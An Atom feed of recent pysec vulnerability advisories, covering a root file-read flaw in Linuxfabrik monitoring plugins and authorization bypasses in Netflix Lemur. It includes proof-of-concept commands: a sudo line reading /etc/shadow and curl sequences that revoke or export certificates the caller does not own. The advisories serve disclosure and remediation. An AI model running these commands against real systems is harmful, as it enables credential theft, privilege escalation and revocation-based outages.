<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://vulnerability.circl.lu/rss/recent/pysec/10</id>
  <title>Most recent entries from pysec</title>
  <updated>2026-08-24T22:38:57.380613+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>info@circl.lu</email>
  </author>
  <link href="https://vulnerability.circl.lu" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/pysec-2026-3682</id>
    <title>pysec-2026-3682</title>
    <updated>2026-08-19T12:16:28.037522+00:00</updated>
    <content>## Summary
Every Linuxfabrik check plugin that supports the shared `--test` argument (routed through `lib.lftest.test()`) will, when `--test` is supplied, treat the first CSV element as a filesystem path and read its full contents as the plugin's simulated STDOUT — running as root when the plugin is invoked through the shipped `nagios`/`icinga` sudoers allowlist. `--test` is a **live production argument** (centrally mapped to `argparse.SUPPRESS`, so it is hidden from `--help` but still accepted on the command line), not a build-time-only gate. This yields an arbitrary root file-read primitive (full disclosure on `deb-updates`; filtered disclosure / existence-and-readability oracle on ~22 other whitelisted plugins), i.e. local privilege escalation from the `nagios` account to root.

## Root Cause
- `lib.lftest.test(args)` (`lftest.py` lines 659-664): `stdout = args[0]`; `if stdout and os.path.isfile(stdout): _, stdout = disk.read_file(stdout)`. Element[1] (stderr channel) is read the same way. There is **no path confinement** on the supplied path.
- `check-plugins/deb-updates/deb-updates`: `--test` is registered with `type=lib.args.csv` (lines 78-82). When supplied, control flows to `stdout, _, retc = lib.lftest.test(args.TEST)` (line 143), bypassing the apt path (`if args.TEST is None:` at 121). Each returned line is stored as a `package` row and, under the default `--query='1'` (`WHERE 1`, matches all rows), every row is printed via `'\n* '.join([row['package'] ...])` → `lib.base.oao(...)`.
- The same `--test`/`lib.lftest.test()` mechanism exists identically on ~22 whitelisted plugins (e.g. `docker-info`), each performing a root `open()`/read of the attacker-named path. Disclosure degree varies by each plugin's downstream parser: full (`deb-updates`), filtered (`docker-info` echoes lines containing `warning:`/`error:`; `openvpn-client-list` echoes `CLIENT_LIST` lines), or existence/readability oracle (JSON parsers).

## Impact
An attacker controlling the low-privilege `nagios`/`icinga` account (the documented threat model for the shipped sudoers file — same precondition as CVE-2026-52817) obtains the full contents of any root-readable file via `deb-updates` (e.g. `/etc/shadow`, `/root/.ssh/id_*`, TLS keys, cloud credentials), plus a fleet-wide root file existence/readability oracle and filtered content leak via the other plugins → local privilege escalation to root.

## Proof of Concept
Full disclosure (deb-updates):
```
sudo /usr/lib64/nagios/plugins/deb-updates --test=/etc/shadow,,0
```
Filtered disclosure / oracle (docker-info, target routed to the stderr channel that gets echoed):
```
sudo /usr/lib64/nagios/plugins/docker-info --test="dummy,/etc/shadow,0"
```

## Attack Chain
1. **Entry:** `sudo /usr/lib64/nagios/plugins/deb-updates --test=/etc/shadow,,0`
   - **Action:** the nagios user invokes the whitelisted plugin as root with a `--test` CSV whose element[0] is the target path and retc=0.
   - **Guard:** sudoers (Debian.sudoers:3) lists the binary only; `--test` is not gated to test builds.
   - **Bypass proof:** CONTRIBUTING.md documents `--test` as centrally mapped to `argparse.SUPPRESS` — hidden from `--help` but still accepted on the command line; `lib.args.csv` splits `/etc/shadow,,0` into `['/etc/shadow','','0']`.
2. **Sink:** `lib.lftest.test(args.TEST)` (deb-updates:143) reads element[0] as a file, as root.
   - **Guard:** none — no path confinement on element[0].
   - **Bypass proof (from lib source):** `lftest.py:661-664`: `stdout = args[0]; if stdout and os.path.isfile(stdout): _, stdout = disk.read_file(stdout)` — element[0], if it exists on disk, is opened and its contents returned as stdout. `retc=0` (element[2]) so there is no early `cu()` abort.
3. **Store + query:** each line → `lib.db_sqlite.insert(conn, {'package': item}, ...)`; default `QUERY='1'` → `SELECT * FROM deb_updates WHERE 1`.
   - **Guard:** `--only-critical` or a restrictive `--query` would filter, but both default to permissive (`ONLY_CRITICAL=False`, `QUERY='1'`).
   - **Bypass proof:** attacker passes neither → all rows selected.
4. **Disclosure:** `msg += '\n* '.join([row['package'] for row in result])` → `lib.base.oao(...)` → stdout.
   - **Guard:** none.
   - **Bypass proof:** with `len(result) &gt; 0` the branch prints every row (every file line).
5. **Impact:** full contents of any root-readable file disclosed to the nagios user → root. On the ~22 other `--test` plugins the same primitive yields a filtered leak / universal root file existence-and-readability oracle.

## Bypass Evidence
- `lib.lftest.test()` file-read behavior verified directly from linuxfabrik-lib source (`lftest.py:659-664`, `disk.read_file(stdout)` when `os.path.isfile(stdout)`).
- `--test` registration (`type=lib.args.csv`) and the `stdout, _, retc = lib.lftest.test(args.TEST)` call verified on the latest release tag **v6.0.0** at `check-plugins/deb-updates/deb-updates:143` (GitHub contents API); default `QUERY='1'` confirmed.
- No path-confinement guard exists on the `--test` path element in either the plugin or `lib.lftest`.

## Affected Versions
`&lt;= 6.0.0` (latest release; `--test`/`lib.lftest.test()` flow present on tag v6.0.0). Not covered by any existing advisory (none reference `--test` or arbitrary file read).

## Suggested Fix
Compile `--test` out of production builds (or gate it behind an explicit build/dev flag so it is not accepted at runtime), OR confine the `--test` path element(s) to a dedicated fixtures directory via `realpath()` + containment check before `disk.read_file()`. As defense-in-depth, constrain the sudoers entries to specific argument values so `--test` cannot be supplied to a root-run plugin.

---
Reported by **zx (Jace)**</content>
    <link href="https://vulnerability.circl.lu/vuln/pysec-2026-3682"/>
    <summary>## Summary
Every Linuxfabrik check plugin that supports the shared `--test` argument (routed through `lib.lftest.test()`) will, when `--test` is supplied, treat the first CSV element as a filesystem path and read its full contents as the plugin's simulated STDOUT — running as root when the plugin is invoked through the shipped `nagios`/`icinga` sudoers allowlist. `--test` is a **live production argument** (centrally mapped to `argparse.SUPPRESS`, so it is hidden from `--help` but still accepted on the command line), not a build-time-only gate. This yields an arbitrary root file-read primitive (full disclosure on `deb-updates`; filtered disclosure / existence-and-readability oracle on ~22 other whitelisted plugins), i.e. local privilege escalation from the `nagios` account to root.

## Root Cause
- `lib.lftest.test(args)` (`lftest.py` lines 659-664): `stdout = args[0]`; `if stdout and os.path.isfile(stdout): _, stdout = disk.read_file(stdout)`. Element[1] (stderr channel) is read the same way. There is **no path confinement** on the supplied path.
- `check-plugins/deb-updates/deb-updates`: `--test` is registered with `type=lib.args.csv` (lines 78-82). When supplied, control flows to `stdout, _, retc = lib.lftest.test(args.TEST)` (line 143), bypassing the apt path (`if args.TEST is None:` at 121). Each returned line is stored as a `package` row and, under the default `--query='1'` (`WHERE 1`, matches all rows), every row is printed via `'\n* '.join([row['package'] ...])` → `lib.base.oao(...)`.
- The same `--test`/`lib.lftest.test()` mechanism exists identically on ~22 whitelisted plugins (e.g. `docker-info`), each performing a root `open()`/read of the attacker-named path. Disclosure degree varies by each plugin's downstream parser: full (`deb-updates`), filtered (`docker-info` echoes lines containing `warning:`/`error:`; `openvpn-client-list` echoes `CLIENT_LIST` lines), or existence/readability oracle (JSON parsers).

## Impact
An attacker controlling the low-privilege `nagios`/`icinga` account (the documented threat model for the shipped sudoers file — same precondition as CVE-2026-52817) obtains the full contents of any root-readable file via `deb-updates` (e.g. `/etc/shadow`, `/root/.ssh/id_*`, TLS keys, cloud credentials), plus a fleet-wide root file existence/readability oracle and filtered content leak via the other plugins → local privilege escalation to root.

## Proof of Concept
Full disclosure (deb-updates):
```
sudo /usr/lib64/nagios/plugins/deb-updates --test=/etc/shadow,,0
```
Filtered disclosure / oracle (docker-info, target routed to the stderr channel that gets echoed):
```
sudo /usr/lib64/nagios/plugins/docker-info --test="dummy,/etc/shadow,0"
```

## Attack Chain
1. **Entry:** `sudo /usr/lib64/nagios/plugins/deb-updates --test=/etc/shadow,,0`
   - **Action:** the nagios user invokes the whitelisted plugin as root with a `--test` CSV whose element[0] is the target path and retc=0.
   - **Guard:** sudoers (Debian.sudoers:3) lists the binary only; `--test` is not gated to test builds.
   - **Bypass proof:** CONTRIBUTING.md documents `--test` as centrally mapped to `argparse.SUPPRESS` — hidden from `--help` but still accepted on the command line; `lib.args.csv` splits `/etc/shadow,,0` into `['/etc/shadow','','0']`.
2. **Sink:** `lib.lftest.test(args.TEST)` (deb-updates:143) reads element[0] as a file, as root.
   - **Guard:** none — no path confinement on element[0].
   - **Bypass proof (from lib source):** `lftest.py:661-664`: `stdout = args[0]; if stdout and os.path.isfile(stdout): _, stdout = disk.read_file(stdout)` — element[0], if it exists on disk, is opened and its contents returned as stdout. `retc=0` (element[2]) so there is no early `cu()` abort.
3. **Store + query:** each line → `lib.db_sqlite.insert(conn, {'package': item}, ...)`; default `QUERY='1'` → `SELECT * FROM deb_updates WHERE 1`.
   - **Guard:** `--only-critical` or a restrictive `--query` would filter, but both default to permissive (`ONLY_CRITICAL=False`, `QUERY='1'`).
   - **Bypass proof:** attacker passes neither → all rows selected.
4. **Disclosure:** `msg += '\n* '.join([row['package'] for row in result])` → `lib.base.oao(...)` → stdout.
   - **Guard:** none.
   - **Bypass proof:** with `len(result) &gt; 0` the branch prints every row (every file line).
5. **Impact:** full contents of any root-readable file disclosed to the nagios user → root. On the ~22 other `--test` plugins the same primitive yields a filtered leak / universal root file existence-and-readability oracle.

## Bypass Evidence
- `lib.lftest.test()` file-read behavior verified directly from linuxfabrik-lib source (`lftest.py:659-664`, `disk.read_file(stdout)` when `os.path.isfile(stdout)`).
- `--test` registration (`type=lib.args.csv`) and the `stdout, _, retc = lib.lftest.test(args.TEST)` call verified on the latest release tag **v6.0.0** at `check-plugins/deb-updates/deb-updates:143` (GitHub contents API); default `QUERY='1'` confirmed.
- No path-confinement guard exists on the `--test` path element in either the plugin or `lib.lftest`.

## Affected Versions
`&lt;= 6.0.0` (latest release; `--test`/`lib.lftest.test()` flow present on tag v6.0.0). Not covered by any existing advisory (none reference `--test` or arbitrary file read).

## Suggested Fix
Compile `--test` out of production builds (or gate it behind an explicit build/dev flag so it is not accepted at runtime), OR confine the `--test` path element(s) to a dedicated fixtures directory via `realpath()` + containment check before `disk.read_file()`. As defense-in-depth, constrain the sudoers entries to specific argument values so `--test` cannot be supplied to a root-run plugin.

---
Reported by **zx (Jace)**</summary>
    <published>2026-08-19T11:56:28.745844+00:00</published>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/pysec-2026-3678</id>
    <title>pysec-2026-3678</title>
    <updated>2026-08-19T12:16:27.578924+00:00</updated>
    <content>## Summary

Repo under test: https://github.com/Netflix/lemur

`PUT /api/1/certificates/&lt;id&gt;/revoke` authorizes the caller against the *Lemur database row* (creator == current user, or `CertificatePermission` over the row's roles) rather than the underlying CA-side certificate identity. Separately, `POST /api/1/certificates/upload` lets any user passing `StrictRolePermission` create a new `Certificate` row while freely supplying `body`, `authority` (resolved by id/name with no `AuthorityPermission` check) and `external_id`; there is no uniqueness constraint on `body`, `serial`, or `external_id`.

An attacker can therefore read a target certificate's public `body`, `authority.id`, and `external_id` via `GET /certificates/&lt;id&gt;`, upload a duplicate row, and revoke that duplicate. The creator-bypass skips `CertificatePermission`, the empty-endpoints check passes because the duplicate has none, and `service.revoke()` then revokes at the CA using the attacker-supplied `body` (ACME) or `external_id` (DigiCert/Entrust/Google CA/CFSSL) under the authority's stored CA credentials — revoking the real production certificate.

## Affected route

`POST /api/1/certificates/upload` → `PUT /api/1/certificates/&lt;dup_id&gt;/revoke`

## Affected code

- [`lemur/certificates/views.py:651`](https://github.com/Netflix/lemur/blob/main/lemur/certificates/views.py#L651) — only `StrictRolePermission().can()` gates upload; no `AuthorityPermission` check
- [`lemur/certificates/schemas.py:391`](https://github.com/Netflix/lemur/blob/main/lemur/certificates/schemas.py#L391) — `CertificateUploadInputSchema` accepts caller-supplied `authority` and `external_id`
- [`lemur/schemas.py:107`](https://github.com/Netflix/lemur/blob/main/lemur/schemas.py#L107) — `AssociatedAuthoritySchema` resolves any authority by id/name with no permission check
- [`lemur/certificates/service.py:489`](https://github.com/Netflix/lemur/blob/main/lemur/certificates/service.py#L489) — `upload()` binds the caller-supplied authority onto the new row
- [`lemur/certificates/models.py:119`](https://github.com/Netflix/lemur/blob/main/lemur/certificates/models.py#L119) — only `name` is unique; `body`/`serial`/`external_id` are not, and `get_or_increase_name()` auto-suffixes on collision
- [`lemur/certificates/views.py:1677`](https://github.com/Netflix/lemur/blob/main/lemur/certificates/views.py#L1677) — `if g.current_user != cert.user: ... CertificatePermission ...` — creator of the duplicate row bypasses the owner check
- [`lemur/certificates/views.py:1687`](https://github.com/Netflix/lemur/blob/main/lemur/certificates/views.py#L1687) — `if cert.endpoints: ...` — duplicate row has no endpoints, so the deployed-cert safeguard is bypassed
- [`lemur/certificates/service.py:1120`](https://github.com/Netflix/lemur/blob/main/lemur/certificates/service.py#L1120) — `plugin = plugins.get(certificate.authority.plugin_name); plugin.revoke_certificate(certificate, reason)`
- [`lemur/plugins/lemur_acme/acme_handlers.py:268`](https://github.com/Netflix/lemur/blob/main/lemur/plugins/lemur_acme/acme_handlers.py#L268) — ACME revokes by `certificate.body`
- [`lemur/plugins/lemur_digicert/plugin.py:477`](https://github.com/Netflix/lemur/blob/main/lemur/plugins/lemur_digicert/plugin.py#L477), [`lemur/plugins/lemur_entrust/plugin.py:321`](https://github.com/Netflix/lemur/blob/main/lemur/plugins/lemur_entrust/plugin.py#L321) — commercial CAs revoke by `certificate.external_id`
- [`lemur/certificates/schemas.py:290`](https://github.com/Netflix/lemur/blob/main/lemur/certificates/schemas.py#L290) — `CertificateOutputSchema` exposes `external_id`, `body`, `authority` to any authenticated user

## Impact

A low-privileged authenticated insider (or holder of a stolen non-admin token/API key) can revoke any certificate managed by Lemur — including high-value certificates they do not own and certificates currently attached to live endpoints — directly at the issuing CA. Iterating over `GET /certificates` yields fleet-wide revocation (mass DoS of TLS endpoints) without ever passing an `AuthorityPermission` or `CertificatePermission` check on the victim certificate. This is exactly the "Revocation as DoS vector" scenario flagged in the threat model and additionally defeats the built-in "cannot revoke while attached to endpoint" safeguard.

## Root cause

Revocation authority is bound to ownership of the Lemur DB row, not to the CA-side certificate identity. Because upload allows creating a second row that aliases the same CA-side certificate (same `body` / `external_id` / `authority`) without any uniqueness constraint or `AuthorityPermission` check, the attacker can manufacture a row they own and then exercise the creator-bypass on revoke. The endpoint-attached guard inspects only the duplicate row's `cert.endpoints`, which is empty.

## Validated evidence

Static path trace, confirmed by code inspection (validation status: `CONFIRMED`):

- Upload is gated only by `StrictRolePermission` (default-open to any non-read-only user) and accepts attacker-chosen `authority` + `external_id` + `body` without an `AuthorityPermission` check.
- `Certificate.body` / `external_id` have no uniqueness constraint, so a duplicate row is created.
- The revoke endpoint short-circuits the owner check when caller is the row creator, and the endpoint-attached guard inspects only the duplicate row.
- Issuer plugins revoke at the CA using `body` / `external_id` taken from the duplicate row under the authority's stored CA credentials.

## Proof of concept / reproducer

Status: reconstructed from source report (static control-flow trace; not executed against a live CA — revoking at a real CA is destructive).

Preconditions: attacker is an authenticated Lemur user holding any role other than `read-only`. `&lt;VICTIM_CERT_ID&gt;` is any certificate id readable via `GET /api/1/certificates`.

```bash
# 1. Read the victim's body / authority / external_id (exposed to any authenticated user)
curl -sS "&lt;TARGET_BASE_URL&gt;/api/1/certificates/&lt;VICTIM_CERT_ID&gt;" \
  -H "Authorization: Bearer &lt;AUTH_TOKEN&gt;" \
  | jq '{body, external_id, authority: .authority.id}'

# 2. Upload a duplicate row aliasing the same CA-side certificate
curl -sS -X POST "&lt;TARGET_BASE_URL&gt;/api/1/certificates/upload" \
  -H "Authorization: Bearer &lt;AUTH_TOKEN&gt;" \
  -H "Content-Type: application/json" \
  -d '{
        "name": "victim-dup",
        "owner": "attacker@example.com",
        "body": "&lt;VICTIM_BODY_PEM&gt;",
        "authority": {"id": &lt;VICTIM_AUTHORITY_ID&gt;},
        "externalId": "&lt;VICTIM_EXTERNAL_ID&gt;"
      }'
# → returns {"id": &lt;DUP_ID&gt;, ...}; attacker is now cert.user of &lt;DUP_ID&gt;

# 3. Revoke the duplicate — issuer plugin revokes at the CA by body/external_id
curl -sS -X PUT "&lt;TARGET_BASE_URL&gt;/api/1/certificates/&lt;DUP_ID&gt;/revoke" \
  -H "Authorization: Bearer &lt;AUTH_TOKEN&gt;" \
  -H "Content-Type: application/json" \
  -d '{"crlReason": "unspecified"}'
```

Static-trace validation command from the source report:

```bash
grep -n 'StrictRolePermission' lemur/certificates/views.py | grep -v Authority
grep -n 'cert.authority = kwargs.get' lemur/certificates/service.py
grep -n 'g.current_user != cert.user' lemur/certificates/views.py
grep -n 'certificate.external_id\|certificate.body' \
  lemur/plugins/lemur_acme/acme_handlers.py \
  lemur/plugins/lemur_digicert/plugin.py \
  lemur/plugins/lemur_entrust/plugin.py
```

Source artifact: `audit/harnesses/public-repo-threat-model-harness/results/netflix-lemur-100run-mythos-20260627T051129Z/findings.jsonl` (run_050, finding cluster `lemur-revoke-via-duplicate`, 2/100 runs).

## Suggested fix

Decouple CA-side revocation authority from Lemur row ownership:

1. On `POST /certificates/upload`, if `authority` is supplied enforce `AuthorityPermission` for that authority, and reject/ignore caller-supplied `external_id`.
2. Before calling `plugin.revoke_certificate`, look up all `Certificate` rows sharing the same `(authority_id, serial)` or `body` and require `CertificatePermission` on every match (and run the endpoint-attached check against all matches).
3. Consider a DB uniqueness constraint or dedup on `(authority_id, serial)` so a second row for the same CA-issued certificate cannot be created.
4. Stop exposing `external_id` in `CertificateOutputSchema` to non-owners.</content>
    <link href="https://vulnerability.circl.lu/vuln/pysec-2026-3678"/>
    <summary>## Summary

Repo under test: https://github.com/Netflix/lemur

`PUT /api/1/certificates/&lt;id&gt;/revoke` authorizes the caller against the *Lemur database row* (creator == current user, or `CertificatePermission` over the row's roles) rather than the underlying CA-side certificate identity. Separately, `POST /api/1/certificates/upload` lets any user passing `StrictRolePermission` create a new `Certificate` row while freely supplying `body`, `authority` (resolved by id/name with no `AuthorityPermission` check) and `external_id`; there is no uniqueness constraint on `body`, `serial`, or `external_id`.

An attacker can therefore read a target certificate's public `body`, `authority.id`, and `external_id` via `GET /certificates/&lt;id&gt;`, upload a duplicate row, and revoke that duplicate. The creator-bypass skips `CertificatePermission`, the empty-endpoints check passes because the duplicate has none, and `service.revoke()` then revokes at the CA using the attacker-supplied `body` (ACME) or `external_id` (DigiCert/Entrust/Google CA/CFSSL) under the authority's stored CA credentials — revoking the real production certificate.

## Affected route

`POST /api/1/certificates/upload` → `PUT /api/1/certificates/&lt;dup_id&gt;/revoke`

## Affected code

- [`lemur/certificates/views.py:651`](https://github.com/Netflix/lemur/blob/main/lemur/certificates/views.py#L651) — only `StrictRolePermission().can()` gates upload; no `AuthorityPermission` check
- [`lemur/certificates/schemas.py:391`](https://github.com/Netflix/lemur/blob/main/lemur/certificates/schemas.py#L391) — `CertificateUploadInputSchema` accepts caller-supplied `authority` and `external_id`
- [`lemur/schemas.py:107`](https://github.com/Netflix/lemur/blob/main/lemur/schemas.py#L107) — `AssociatedAuthoritySchema` resolves any authority by id/name with no permission check
- [`lemur/certificates/service.py:489`](https://github.com/Netflix/lemur/blob/main/lemur/certificates/service.py#L489) — `upload()` binds the caller-supplied authority onto the new row
- [`lemur/certificates/models.py:119`](https://github.com/Netflix/lemur/blob/main/lemur/certificates/models.py#L119) — only `name` is unique; `body`/`serial`/`external_id` are not, and `get_or_increase_name()` auto-suffixes on collision
- [`lemur/certificates/views.py:1677`](https://github.com/Netflix/lemur/blob/main/lemur/certificates/views.py#L1677) — `if g.current_user != cert.user: ... CertificatePermission ...` — creator of the duplicate row bypasses the owner check
- [`lemur/certificates/views.py:1687`](https://github.com/Netflix/lemur/blob/main/lemur/certificates/views.py#L1687) — `if cert.endpoints: ...` — duplicate row has no endpoints, so the deployed-cert safeguard is bypassed
- [`lemur/certificates/service.py:1120`](https://github.com/Netflix/lemur/blob/main/lemur/certificates/service.py#L1120) — `plugin = plugins.get(certificate.authority.plugin_name); plugin.revoke_certificate(certificate, reason)`
- [`lemur/plugins/lemur_acme/acme_handlers.py:268`](https://github.com/Netflix/lemur/blob/main/lemur/plugins/lemur_acme/acme_handlers.py#L268) — ACME revokes by `certificate.body`
- [`lemur/plugins/lemur_digicert/plugin.py:477`](https://github.com/Netflix/lemur/blob/main/lemur/plugins/lemur_digicert/plugin.py#L477), [`lemur/plugins/lemur_entrust/plugin.py:321`](https://github.com/Netflix/lemur/blob/main/lemur/plugins/lemur_entrust/plugin.py#L321) — commercial CAs revoke by `certificate.external_id`
- [`lemur/certificates/schemas.py:290`](https://github.com/Netflix/lemur/blob/main/lemur/certificates/schemas.py#L290) — `CertificateOutputSchema` exposes `external_id`, `body`, `authority` to any authenticated user

## Impact

A low-privileged authenticated insider (or holder of a stolen non-admin token/API key) can revoke any certificate managed by Lemur — including high-value certificates they do not own and certificates currently attached to live endpoints — directly at the issuing CA. Iterating over `GET /certificates` yields fleet-wide revocation (mass DoS of TLS endpoints) without ever passing an `AuthorityPermission` or `CertificatePermission` check on the victim certificate. This is exactly the "Revocation as DoS vector" scenario flagged in the threat model and additionally defeats the built-in "cannot revoke while attached to endpoint" safeguard.

## Root cause

Revocation authority is bound to ownership of the Lemur DB row, not to the CA-side certificate identity. Because upload allows creating a second row that aliases the same CA-side certificate (same `body` / `external_id` / `authority`) without any uniqueness constraint or `AuthorityPermission` check, the attacker can manufacture a row they own and then exercise the creator-bypass on revoke. The endpoint-attached guard inspects only the duplicate row's `cert.endpoints`, which is empty.

## Validated evidence

Static path trace, confirmed by code inspection (validation status: `CONFIRMED`):

- Upload is gated only by `StrictRolePermission` (default-open to any non-read-only user) and accepts attacker-chosen `authority` + `external_id` + `body` without an `AuthorityPermission` check.
- `Certificate.body` / `external_id` have no uniqueness constraint, so a duplicate row is created.
- The revoke endpoint short-circuits the owner check when caller is the row creator, and the endpoint-attached guard inspects only the duplicate row.
- Issuer plugins revoke at the CA using `body` / `external_id` taken from the duplicate row under the authority's stored CA credentials.

## Proof of concept / reproducer

Status: reconstructed from source report (static control-flow trace; not executed against a live CA — revoking at a real CA is destructive).

Preconditions: attacker is an authenticated Lemur user holding any role other than `read-only`. `&lt;VICTIM_CERT_ID&gt;` is any certificate id readable via `GET /api/1/certificates`.

```bash
# 1. Read the victim's body / authority / external_id (exposed to any authenticated user)
curl -sS "&lt;TARGET_BASE_URL&gt;/api/1/certificates/&lt;VICTIM_CERT_ID&gt;" \
  -H "Authorization: Bearer &lt;AUTH_TOKEN&gt;" \
  | jq '{body, external_id, authority: .authority.id}'

# 2. Upload a duplicate row aliasing the same CA-side certificate
curl -sS -X POST "&lt;TARGET_BASE_URL&gt;/api/1/certificates/upload" \
  -H "Authorization: Bearer &lt;AUTH_TOKEN&gt;" \
  -H "Content-Type: application/json" \
  -d '{
        "name": "victim-dup",
        "owner": "attacker@example.com",
        "body": "&lt;VICTIM_BODY_PEM&gt;",
        "authority": {"id": &lt;VICTIM_AUTHORITY_ID&gt;},
        "externalId": "&lt;VICTIM_EXTERNAL_ID&gt;"
      }'
# → returns {"id": &lt;DUP_ID&gt;, ...}; attacker is now cert.user of &lt;DUP_ID&gt;

# 3. Revoke the duplicate — issuer plugin revokes at the CA by body/external_id
curl -sS -X PUT "&lt;TARGET_BASE_URL&gt;/api/1/certificates/&lt;DUP_ID&gt;/revoke" \
  -H "Authorization: Bearer &lt;AUTH_TOKEN&gt;" \
  -H "Content-Type: application/json" \
  -d '{"crlReason": "unspecified"}'
```

Static-trace validation command from the source report:

```bash
grep -n 'StrictRolePermission' lemur/certificates/views.py | grep -v Authority
grep -n 'cert.authority = kwargs.get' lemur/certificates/service.py
grep -n 'g.current_user != cert.user' lemur/certificates/views.py
grep -n 'certificate.external_id\|certificate.body' \
  lemur/plugins/lemur_acme/acme_handlers.py \
  lemur/plugins/lemur_digicert/plugin.py \
  lemur/plugins/lemur_entrust/plugin.py
```

Source artifact: `audit/harnesses/public-repo-threat-model-harness/results/netflix-lemur-100run-mythos-20260627T051129Z/findings.jsonl` (run_050, finding cluster `lemur-revoke-via-duplicate`, 2/100 runs).

## Suggested fix

Decouple CA-side revocation authority from Lemur row ownership:

1. On `POST /certificates/upload`, if `authority` is supplied enforce `AuthorityPermission` for that authority, and reject/ignore caller-supplied `external_id`.
2. Before calling `plugin.revoke_certificate`, look up all `Certificate` rows sharing the same `(authority_id, serial)` or `body` and require `CertificatePermission` on every match (and run the endpoint-attached check against all matches).
3. Consider a DB uniqueness constraint or dedup on `(authority_id, serial)` so a second row for the same CA-issued certificate cannot be created.
4. Stop exposing `external_id` in `CertificateOutputSchema` to non-owners.</summary>
    <published>2026-08-19T11:56:28.618014+00:00</published>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/pysec-2026-3673</id>
    <title>pysec-2026-3673</title>
    <updated>2026-08-19T12:16:27.253040+00:00</updated>
    <content>## Summary
 
The `CertificateExport` handler in `lemur/certificates/views.py` nests its entire ownership / `CertificatePermission` check inside an `if plugin.requires_key:` branch. When the selected export plugin advertises `requires_key = False`, the authorization check is skipped entirely and any authenticated user can invoke `plugin.export(cert.body, cert.chain, cert.private_key, options)` against a certificate they do not own. The handler additionally writes a `"key_view"` audit-log event for every call, regardless of whether the plugin actually accessed the private key, polluting the audit trail with false positives.
 
## Root Cause
 
`lemur/certificates/views.py:1573`:
 
```python
if plugin.requires_key:
    if not cert.private_key:
        return (..., 400)
    else:
        if g.current_user != cert.user:
            owner_role = role_service.get_by_name(cert.owner)
            permission = CertificatePermission(owner_role, [x.name for x in cert.roles])
            if not permission.can():
                return (..., 403)
 
log_service.create(g.current_user, "key_view", certificate=cert)   # always logged
extension, passphrase, data = plugin.export(
    cert.body, cert.chain, cert.private_key, options
)
```
 
The authorization gate is structurally inside the `if plugin.requires_key:` block. With `requires_key = False`, control falls straight through to `plugin.export(...)` with no ownership check. The `cert.private_key` is passed to the plugin regardless of the flag — the flag only describes what the plugin *advertises* it needs, not what it actually receives.
 
The only currently shipping `ExportPlugin` with `requires_key = False` is `JavaTruststoreExportPlugin` (`lemur/plugins/lemur_jks/plugin.py`), whose `export()` ignores the `key` argument and emits a public-only Java truststore. The present-day data exposure is therefore limited to public certificate material. The bug is nonetheless filed as a real authorization gap because:
 
1. The structural defect is latent and silent - any future `requires_key = False` `ExportPlugin` that *does* read `cert.private_key` will inherit the bypass with no test or code-review signal.
2. The unconditional `log_service.create(..., "key_view", ...)` call falsely records key-view events for callers who never viewed a key, weakening incident-response signal.
 
## Affected Endpoints
 
| Method | Path | Source |
|---|---|---|
| POST | /api/1/certificates/`&lt;id&gt;`/export | lemur/certificates/views.py:1573 |
 
## Impact
 
In the current codebase:
 
- Any authenticated user can mint a Java truststore (`java-truststore-jks` plugin) containing any certificate's public body and chain, without owning the certificate or holding a role with permission over it.
- The audit log records a `key_view` event for the calling user against that certificate, despite no private key having been accessed. Defenders investigating apparent key-view events will encounter false positives that they cannot distinguish from genuine accesses.
 
Latent risk:
 
- A future `ExportPlugin` author who sets `requires_key = False` because their plugin can *operate* without a key (e.g., for a fall-back code path) but still uses the key when one is provided will silently leak private keys to any authenticated user. The same code review that approves the plugin will not flag this — the authorization invariant is held by a structurally distant `if`-branch in the view, not by the plugin itself.
 
## Remediation
 
Lift the authorization check out of the `if plugin.requires_key:` block so it runs for every export call:
 
```python
# Authorization first, unconditionally.
if g.current_user != cert.user:
    owner_role = role_service.get_by_name(cert.owner)
    permission = CertificatePermission(owner_role, [x.name for x in cert.roles])
    if not permission.can():
        return (dict(message="You are not authorized to export this certificate."), 403)
 
if plugin.requires_key:
    if not cert.private_key:
        return (dict(message="Plugin requires a key but none is present."), 400)
    log_service.create(g.current_user, "key_view", certificate=cert)   # only when key actually accessed
 
extension, passphrase, data = plugin.export(
    cert.body, cert.chain, cert.private_key, options
)
```
 
This makes the authorization gate independent of the plugin's `requires_key` flag and correctly scopes the `key_view` audit event to calls that actually involve key access.
 
## Steps to Reproduce
 
1. Set up Lemur with default configuration. Create an admin user `admin` and a non-admin user `eve` with the `read-only` role (or any role without certificate permissions).
 
2. As `admin`, issue a certificate. Note its `id`.
 
3. As `eve`, invoke export with the `java-truststore-jks` plugin:
````
   curl -X POST https://lemur.local/api/1/certificates/&lt;cert_id&gt;/export \
        -H "Authorization: Bearer &lt;eve_jwt&gt;" \
        -H "Content-Type: application/json" \
        -d '{
              "plugin": {
                "slug": "java-truststore-jks",
                "plugin_options": [
                  {"name": "passphrase", "value": "test"}
                ]
              }
            }'
````
 
4. Observe HTTP 200 with a base64-encoded JKS truststore in the response. `eve` had no permission over `admin`'s certificate, yet successfully exported its public material.
 
5. Inspect the audit log table or `lemur logs list`:
````
   psql lemur -c "SELECT user_id, log_type, certificate_id, logged_at FROM logs
                  WHERE certificate_id = &lt;cert_id&gt; ORDER BY logged_at DESC LIMIT 1;"
````
   The log row shows `log_type = 'key_view'` for `eve` against `admin`'s certificate, despite no private key actually being accessed by the truststore plugin - confirming the audit-log pollution facet of the bug.</content>
    <link href="https://vulnerability.circl.lu/vuln/pysec-2026-3673"/>
    <summary>## Summary
 
The `CertificateExport` handler in `lemur/certificates/views.py` nests its entire ownership / `CertificatePermission` check inside an `if plugin.requires_key:` branch. When the selected export plugin advertises `requires_key = False`, the authorization check is skipped entirely and any authenticated user can invoke `plugin.export(cert.body, cert.chain, cert.private_key, options)` against a certificate they do not own. The handler additionally writes a `"key_view"` audit-log event for every call, regardless of whether the plugin actually accessed the private key, polluting the audit trail with false positives.
 
## Root Cause
 
`lemur/certificates/views.py:1573`:
 
```python
if plugin.requires_key:
    if not cert.private_key:
        return (..., 400)
    else:
        if g.current_user != cert.user:
